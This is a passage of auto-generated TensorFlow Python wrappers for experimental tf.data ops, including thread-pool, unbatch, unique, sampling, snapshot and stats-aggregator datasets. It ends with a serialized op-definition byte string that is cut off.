_op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalThreadPoolDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalThreadPoolDataset(input_dataset, thread_pool, output_types, output_shapes, name=None): return experimental_thread_pool_dataset(input_dataset=input_dataset, thread_pool=thread_pool, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalThreadPoolDataset.__doc__ = experimental_thread_pool_dataset.__doc__ ExperimentalThreadPoolDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalThreadPoolDataset)) tf_export("raw_ops.ExperimentalThreadPoolDataset")(ExperimentalThreadPoolDataset) def experimental_thread_pool_dataset_eager_fallback(input_dataset, thread_pool, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_thread_pool_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_thread_pool_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_thread_pool_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) thread_pool = _ops.convert_to_tensor(thread_pool, _dtypes.resource) _inputs_flat = [input_dataset, thread_pool] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalThreadPoolDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalThreadPoolDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_thread_pool_handle(num_threads, display_name, max_intra_op_parallelism=1, container="", shared_name="", name=None): r"""Creates a dataset that uses a custom thread pool to compute `input_dataset`. Args: num_threads: An `int`. The number of threads in the thread pool. display_name: A `string`. A human-readable name for the threads that may be visible in some visualizations. threadpool. max_intra_op_parallelism: An optional `int`. Defaults to `1`. The maximum degree of parallelism to use within operations that execute on this threadpool. container: An optional `string`. Defaults to `""`. shared_name: An optional `string`. Defaults to `""`. name: A name for the operation (optional). Returns: A `Tensor` of type `resource`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalThreadPoolHandle", name, _ctx._post_execution_callbacks, "num_threads", num_threads, "max_intra_op_parallelism", max_intra_op_parallelism, "display_name", display_name, "container", container, "shared_name", shared_name) return _result except _core._FallbackException: try: return experimental_thread_pool_handle_eager_fallback( num_threads=num_threads, max_intra_op_parallelism=max_intra_op_parallelism, display_name=display_name, container=container, shared_name=shared_name, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. num_threads = _execute.make_int(num_threads, "num_threads") display_name = _execute.make_str(display_name, "display_name") if max_intra_op_parallelism is None: max_intra_op_parallelism = 1 max_intra_op_parallelism = _execute.make_int(max_intra_op_parallelism, "max_intra_op_parallelism") if container is None: container = "" container = _execute.make_str(container, "container") if shared_name is None: shared_name = "" shared_name = _execute.make_str(shared_name, "shared_name") _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalThreadPoolHandle", num_threads=num_threads, display_name=display_name, max_intra_op_parallelism=max_intra_op_parallelism, container=container, shared_name=shared_name, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("num_threads", _op.get_attr("num_threads"), "max_intra_op_parallelism", _op.get_attr("max_intra_op_parallelism"), "display_name", _op.get_attr("display_name"), "container", _op.get_attr("container"), "shared_name", _op.get_attr("shared_name")) _execute.record_gradient( "ExperimentalThreadPoolHandle", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalThreadPoolHandle(num_threads, display_name, max_intra_op_parallelism=1, container="", shared_name="", name=None): return experimental_thread_pool_handle(num_threads=num_threads, display_name=display_name, max_intra_op_parallelism=max_intra_op_parallelism, container=container, shared_name=shared_name, name=name) ExperimentalThreadPoolHandle.__doc__ = experimental_thread_pool_handle.__doc__ ExperimentalThreadPoolHandle = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalThreadPoolHandle)) tf_export("raw_ops.ExperimentalThreadPoolHandle")(ExperimentalThreadPoolHandle) def experimental_thread_pool_handle_eager_fallback(num_threads, display_name, max_intra_op_parallelism=1, container="", shared_name="", name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_thread_pool_handle """ _ctx = ctx if ctx else _context.context() num_threads = _execute.make_int(num_threads, "num_threads") display_name = _execute.make_str(display_name, "display_name") if max_intra_op_parallelism is None: max_intra_op_parallelism = 1 max_intra_op_parallelism = _execute.make_int(max_intra_op_parallelism, "max_intra_op_parallelism") if container is None: container = "" container = _execute.make_str(container, "container") if shared_name is None: shared_name = "" shared_name = _execute.make_str(shared_name, "shared_name") _inputs_flat = [] _attrs = ("num_threads", num_threads, "max_intra_op_parallelism", max_intra_op_parallelism, "display_name", display_name, "container", container, "shared_name", shared_name) _result = _execute.execute(b"ExperimentalThreadPoolHandle", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalThreadPoolHandle", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_unbatch_dataset(input_dataset, output_types, output_shapes, name=None): r"""A dataset that splits the elements of its input into multiple elements. Args: input_dataset: A `Tensor` of type `variant`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalUnbatchDataset", name, _ctx._post_execution_callbacks, input_dataset, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_unbatch_dataset_eager_fallback( input_dataset, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_unbatch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_unbatch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalUnbatchDataset", input_dataset=input_dataset, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalUnbatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalUnbatchDataset(input_dataset, output_types, output_shapes, name=None): return experimental_unbatch_dataset(input_dataset=input_dataset, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalUnbatchDataset.__doc__ = experimental_unbatch_dataset.__doc__ ExperimentalUnbatchDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalUnbatchDataset)) tf_export("raw_ops.ExperimentalUnbatchDataset")(ExperimentalUnbatchDataset) def experimental_unbatch_dataset_eager_fallback(input_dataset, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_unbatch_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_unbatch_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_unbatch_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalUnbatchDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalUnbatchDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def experimental_unique_dataset(input_dataset, output_types, output_shapes, name=None): r"""Creates a dataset that contains the unique elements of `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "ExperimentalUniqueDataset", name, _ctx._post_execution_callbacks, input_dataset, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return experimental_unique_dataset_eager_fallback( input_dataset, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_unique_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_unique_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "ExperimentalUniqueDataset", input_dataset=input_dataset, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "ExperimentalUniqueDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def ExperimentalUniqueDataset(input_dataset, output_types, output_shapes, name=None): return experimental_unique_dataset(input_dataset=input_dataset, output_types=output_types, output_shapes=output_shapes, name=name) ExperimentalUniqueDataset.__doc__ = experimental_unique_dataset.__doc__ ExperimentalUniqueDataset = _doc_controls.do_not_generate_docs(_kwarg_only(ExperimentalUniqueDataset)) tf_export("raw_ops.ExperimentalUniqueDataset")(ExperimentalUniqueDataset) def experimental_unique_dataset_eager_fallback(input_dataset, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function experimental_unique_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'experimental_unique_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'experimental_unique_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) _inputs_flat = [input_dataset] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"ExperimentalUniqueDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "ExperimentalUniqueDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def sampling_dataset(input_dataset, rate, seed, seed2, output_types, output_shapes, name=None): r"""Creates a dataset that contains `rate` elements from the `input_dataset`. Args: input_dataset: A `Tensor` of type `variant`. rate: A `Tensor` of type `float32`. A scalar representing the sample rate of elements from the `input_dataset` that should be taken. seed: A `Tensor` of type `int64`. A scalar representing seed of random number generator. seed2: A `Tensor` of type `int64`. A scalar representing seed2 of random number generator. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "SamplingDataset", name, _ctx._post_execution_callbacks, input_dataset, rate, seed, seed2, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return sampling_dataset_eager_fallback( input_dataset, rate, seed, seed2, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'sampling_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'sampling_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "SamplingDataset", input_dataset=input_dataset, rate=rate, seed=seed, seed2=seed2, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "SamplingDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def SamplingDataset(input_dataset, rate, seed, seed2, output_types, output_shapes, name=None): return sampling_dataset(input_dataset=input_dataset, rate=rate, seed=seed, seed2=seed2, output_types=output_types, output_shapes=output_shapes, name=name) SamplingDataset.__doc__ = sampling_dataset.__doc__ SamplingDataset = _doc_controls.do_not_generate_docs(_kwarg_only(SamplingDataset)) tf_export("raw_ops.SamplingDataset")(SamplingDataset) def sampling_dataset_eager_fallback(input_dataset, rate, seed, seed2, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function sampling_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'sampling_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'sampling_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) rate = _ops.convert_to_tensor(rate, _dtypes.float32) seed = _ops.convert_to_tensor(seed, _dtypes.int64) seed2 = _ops.convert_to_tensor(seed2, _dtypes.int64) _inputs_flat = [input_dataset, rate, seed, seed2] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"SamplingDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "SamplingDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def snapshot_dataset(input_dataset, path, output_types, output_shapes, name=None): r"""Creates a dataset that will write to / read from a snapshot. This dataset attempts to determine whether a valid snapshot exists at the `snapshot_path`, and reads from the snapshot in lieu of using `input_dataset`. If not, it will run the preprocessing pipeline as usual, and write out a snapshot of the data processed for future use. Args: input_dataset: A `Tensor` of type `variant`. A variant tensor representing the input dataset. path: A `Tensor` of type `string`. The path we should write snapshots to / read snapshots from. output_types: A list of `tf.DTypes` that has length `>= 1`. output_shapes: A list of shapes (each a `tf.TensorShape` or list of `ints`) that has length `>= 1`. name: A name for the operation (optional). Returns: A `Tensor` of type `variant`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "SnapshotDataset", name, _ctx._post_execution_callbacks, input_dataset, path, "output_types", output_types, "output_shapes", output_shapes) return _result except _core._FallbackException: try: return snapshot_dataset_eager_fallback( input_dataset, path, output_types=output_types, output_shapes=output_shapes, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'snapshot_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'snapshot_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] _, _, _op = _op_def_lib._apply_op_helper( "SnapshotDataset", input_dataset=input_dataset, path=path, output_types=output_types, output_shapes=output_shapes, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("output_types", _op.get_attr("output_types"), "output_shapes", _op.get_attr("output_shapes")) _execute.record_gradient( "SnapshotDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def SnapshotDataset(input_dataset, path, output_types, output_shapes, name=None): return snapshot_dataset(input_dataset=input_dataset, path=path, output_types=output_types, output_shapes=output_shapes, name=name) SnapshotDataset.__doc__ = snapshot_dataset.__doc__ SnapshotDataset = _doc_controls.do_not_generate_docs(_kwarg_only(SnapshotDataset)) tf_export("raw_ops.SnapshotDataset")(SnapshotDataset) def snapshot_dataset_eager_fallback(input_dataset, path, output_types, output_shapes, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function snapshot_dataset """ _ctx = ctx if ctx else _context.context() if not isinstance(output_types, (list, tuple)): raise TypeError( "Expected list for 'output_types' argument to " "'snapshot_dataset' Op, not %r." % output_types) output_types = [_execute.make_type(_t, "output_types") for _t in output_types] if not isinstance(output_shapes, (list, tuple)): raise TypeError( "Expected list for 'output_shapes' argument to " "'snapshot_dataset' Op, not %r." % output_shapes) output_shapes = [_execute.make_shape(_s, "output_shapes") for _s in output_shapes] input_dataset = _ops.convert_to_tensor(input_dataset, _dtypes.variant) path = _ops.convert_to_tensor(path, _dtypes.string) _inputs_flat = [input_dataset, path] _attrs = ("output_types", output_types, "output_shapes", output_shapes) _result = _execute.execute(b"SnapshotDataset", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "SnapshotDataset", _inputs_flat, _attrs, _result, name) _result, = _result return _result def stats_aggregator_handle_v2(container="", shared_name="", name=None): r"""TODO: add doc. Args: container: An optional `string`. Defaults to `""`. shared_name: An optional `string`. Defaults to `""`. name: A name for the operation (optional). Returns: A `Tensor` of type `resource`. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "StatsAggregatorHandleV2", name, _ctx._post_execution_callbacks, "container", container, "shared_name", shared_name) return _result except _core._FallbackException: try: return stats_aggregator_handle_v2_eager_fallback( container=container, shared_name=shared_name, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. if container is None: container = "" container = _execute.make_str(container, "container") if shared_name is None: shared_name = "" shared_name = _execute.make_str(shared_name, "shared_name") _, _, _op = _op_def_lib._apply_op_helper( "StatsAggregatorHandleV2", container=container, shared_name=shared_name, name=name) _result = _op.outputs[:] _inputs_flat = _op.inputs _attrs = ("container", _op.get_attr("container"), "shared_name", _op.get_attr("shared_name")) _execute.record_gradient( "StatsAggregatorHandleV2", _inputs_flat, _attrs, _result, name) _result, = _result return _result def StatsAggregatorHandleV2(container="", shared_name="", name=None): return stats_aggregator_handle_v2(container=container, shared_name=shared_name, name=name) StatsAggregatorHandleV2.__doc__ = stats_aggregator_handle_v2.__doc__ StatsAggregatorHandleV2 = _doc_controls.do_not_generate_docs(_kwarg_only(StatsAggregatorHandleV2)) tf_export("raw_ops.StatsAggregatorHandleV2")(StatsAggregatorHandleV2) def stats_aggregator_handle_v2_eager_fallback(container="", shared_name="", name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function stats_aggregator_handle_v2 """ _ctx = ctx if ctx else _context.context() if container is None: container = "" container = _execute.make_str(container, "container") if shared_name is None: shared_name = "" shared_name = _execute.make_str(shared_name, "shared_name") _inputs_flat = [] _attrs = ("container", container, "shared_name", shared_name) _result = _execute.execute(b"StatsAggregatorHandleV2", 1, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _execute.record_gradient( "StatsAggregatorHandleV2", _inputs_flat, _attrs, _result, name) _result, = _result return _result def stats_aggregator_set_summary_writer(stats_aggregator, summary, name=None): r"""Set a summary_writer_interface to record statistics using given stats_aggregator. Args: stats_aggregator: A `Tensor` of type `resource`. summary: A `Tensor` of type `resource`. name: A name for the operation (optional). Returns: The created Operation. """ _ctx = _context._context or _context.context() if _ctx is not None and _ctx._thread_local_data.is_eager: try: _result = _pywrap_tensorflow.TFE_Py_FastPathExecute( _ctx._context_handle, _ctx._thread_local_data.device_name, "StatsAggregatorSetSummaryWriter", name, _ctx._post_execution_callbacks, stats_aggregator, summary) return _result except _core._FallbackException: try: return stats_aggregator_set_summary_writer_eager_fallback( stats_aggregator, summary, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except _core._NotOkStatusException as e: if name is not None: message = e.message + " name: " + name else: message = e.message _six.raise_from(_core._status_to_exception(e.code, message), None) # Add nodes to the TensorFlow graph. _, _, _op = _op_def_lib._apply_op_helper( "StatsAggregatorSetSummaryWriter", stats_aggregator=stats_aggregator, summary=summary, name=name) return _op _result = None return _result def StatsAggregatorSetSummaryWriter(stats_aggregator, summary, name=None): return stats_aggregator_set_summary_writer(stats_aggregator=stats_aggregator, summary=summary, name=name) StatsAggregatorSetSummaryWriter.__doc__ = stats_aggregator_set_summary_writer.__doc__ StatsAggregatorSetSummaryWriter = _doc_controls.do_not_generate_docs(_kwarg_only(StatsAggregatorSetSummaryWriter)) tf_export("raw_ops.StatsAggregatorSetSummaryWriter")(StatsAggregatorSetSummaryWriter) def stats_aggregator_set_summary_writer_eager_fallback(stats_aggregator, summary, name=None, ctx=None): r"""This is the slowpath function for Eager mode. This is for function stats_aggregator_set_summary_writer """ _ctx = ctx if ctx else _context.context() stats_aggregator = _ops.convert_to_tensor(stats_aggregator, _dtypes.resource) summary = _ops.convert_to_tensor(summary, _dtypes.resource) _inputs_flat = [stats_aggregator, summary] _attrs = None _result = _execute.execute(b"StatsAggregatorSetSummaryWriter", 0, inputs=_inputs_flat, attrs=_attrs, ctx=_ctx, name=name) _result = None return _result def _InitOpDefLibrary(op_list_proto_bytes): op_list = _op_def_pb2.OpList() op_list.ParseFromString(op_list_proto_bytes) _op_def_registry.register_op_list(op_list) op_def_lib = _op_def_library.OpDefLibrary() op_def_lib.add_op_list(op_list) return op_def_lib # op { # name: "ChooseFastestBranchDataset" # input_arg { # name: "input_dataset" # type: DT_VARIANT # } # input_arg { # name: "ratio_numerator" # type: DT_INT64 # } # input_arg { # name: "ratio_denominator" # type: DT_INT64 # } # input_arg { # name: "other_arguments" # type_list_attr: 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DT_RESOURCE # } # is_stateful: true # } _op_def_lib = _InitOpDefLibrary(b"\n\316\002\n\032ChooseFastestBranchDataset\022\021\n\rinput_dataset\030\025\022\023\n\017ratio_numerator\030\t\022\025\n\021ratio_denominator\030\t\022\035\n\017other_arguments2\nTarguments\032\n\n\006handle\030\025\"\032\n\nTarguments\022\nlist(type)(\001\"\"\n\027num_elements_per_branch\022\003int(\0010\001\"\032\n\010branches\022\nlist(func)(\0010\001\"(\n\027other_arguments_lengths\022\tlist(int)(\0010\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\225\001\n\035ExperimentalAssertNextDataset\022\021\n\rinput_dataset\030\025\022\023\n\017transformations\030\007\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\233\001\n\034ExperimentalAutoShardDataset\022\021\n\rinput_dataset\030\025\022\017\n\013num_workers\030\t\022\t\n\005index\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\221\001\n%ExperimentalBytesProducedStatsDataset\022\021\n\rinput_dataset\030\025\022\007\n\003tag\030\007\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\234\002\n\026ExperimentalCSVDataset\022\r\n\tfilenames\030\007\022\024\n\020compression_type\030\007\022\017\n\013buffer_size\030\t\022\n\n\006header\030\n\022\017\n\013field_delim\030\007\022\023\n\017use_quote_delim\030\n\022\014\n\010na_value\030\007\022\017\n\013select_cols\030\t\022\037\n\017record_defaults2\014output_types\032\n\n\006handle\030\025\")\n\014output_types\022\nlist(type)(\0010\001:\t\n\0072\005\001\002\003\t\007\" \n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\n\255\001\n ExperimentalChooseFastestDataset\022\025\n\016input_datasets\030\025*\001N\032\n\n\006handle\030\025\"\014\n\001N\022\003int(\0010\002\"\026\n\017num_experiments\022\003int\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\nD\n\036ExperimentalDatasetCardinality\022\021\n\rinput_dataset\030\025\032\017\n\013cardinality\030\t\nY\n\035ExperimentalDatasetToTFRecord\022\021\n\rinput_dataset\030\025\022\014\n\010filename\030\007\022\024\n\020compression_type\030\007\210\001\001\n\247\001\n%ExperimentalDenseToSparseBatchDataset\022\021\n\rinput_dataset\030\025\022\016\n\nbatch_size\030\t\022\r\n\trow_shape\030\t\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\273\001\n%ExperimentalDirectedInterleaveDataset\022\032\n\026selector_input_dataset\030\025\022\032\n\023data_input_datasets\030\025*\001N\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\"\014\n\001N\022\003int(\0010\001\n\373\004\n!ExperimentalGroupByReducerDataset\022\021\n\rinput_dataset\030\025\0225\n\030key_func_other_arguments2\031Tkey_func_other_arguments\0227\n\031init_func_other_arguments2\032Tinit_func_other_arguments\022;\n\033reduce_func_other_arguments2\034Treduce_func_other_arguments\022?\n\035finalize_func_other_arguments2\036Tfinalize_func_other_arguments\032\n\n\006handle\030\025\"\020\n\010key_func\022\004func\"\021\n\tinit_func\022\004func\"\023\n\013reduce_func\022\004func\"\025\n\rfinalize_func\022\004func\")\n\031Tkey_func_other_arguments\022\nlist(type)(\001\"*\n\032Tinit_func_other_arguments\022\nlist(type)(\001\",\n\034Treduce_func_other_arguments\022\nlist(type)(\001\".\n\036Tfinalize_func_other_arguments\022\nlist(type)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\n\213\004\n ExperimentalGroupByWindowDataset\022\021\n\rinput_dataset\030\025\0225\n\030key_func_other_arguments2\031Tkey_func_other_arguments\022;\n\033reduce_func_other_arguments2\034Treduce_func_other_arguments\022E\n window_size_func_other_arguments2!Twindow_size_func_other_arguments\032\n\n\006handle\030\025\"\020\n\010key_func\022\004func\"\023\n\013reduce_func\022\004func\"\030\n\020window_size_func\022\004func\")\n\031Tkey_func_other_arguments\022\nlist(type)(\001\",\n\034Treduce_func_other_arguments\022\nlist(type)(\001\"1\n!Twindow_size_func_other_arguments\022\nlist(type)(\001\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n=\n\"ExperimentalIdentityIndexedDataset\022\010\n\004size\030\027\032\n\n\006handle\030\025\210\001\001\n\202\001\n\037ExperimentalIgnoreErrorsDataset\022\021\n\rinput_dataset\030\025\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\n\235\001\n\035ExperimentalIndexedDatasetGet\022\020\n\014materialized\030\024\022\t\n\005index\030\027\032\032\n\ncomponents2\014output_types\"\036\n\014output_types\022\nlist(type)(\0010\001\" \n\routput_shapes\022\013list(shape)(\0010\001\210\001\001\nI\n%ExperimentalIndexedDatasetMaterialize\022\013\n\007dataset\030\025\022\020\n\014materialized\030\024\210\001\001\n<\n\035ExperimentalIteratorGetDevice\022\014\n\010resource\030\024\032\n\n\006device\030\007\210\001\001\ny\n\027ExperimentalLMDBDataset\022\r\n\tfilenames\030\007\032\n\n\006handle\030\025\"\036\n\014output_types\022\nlist(type)(\0010\001\" 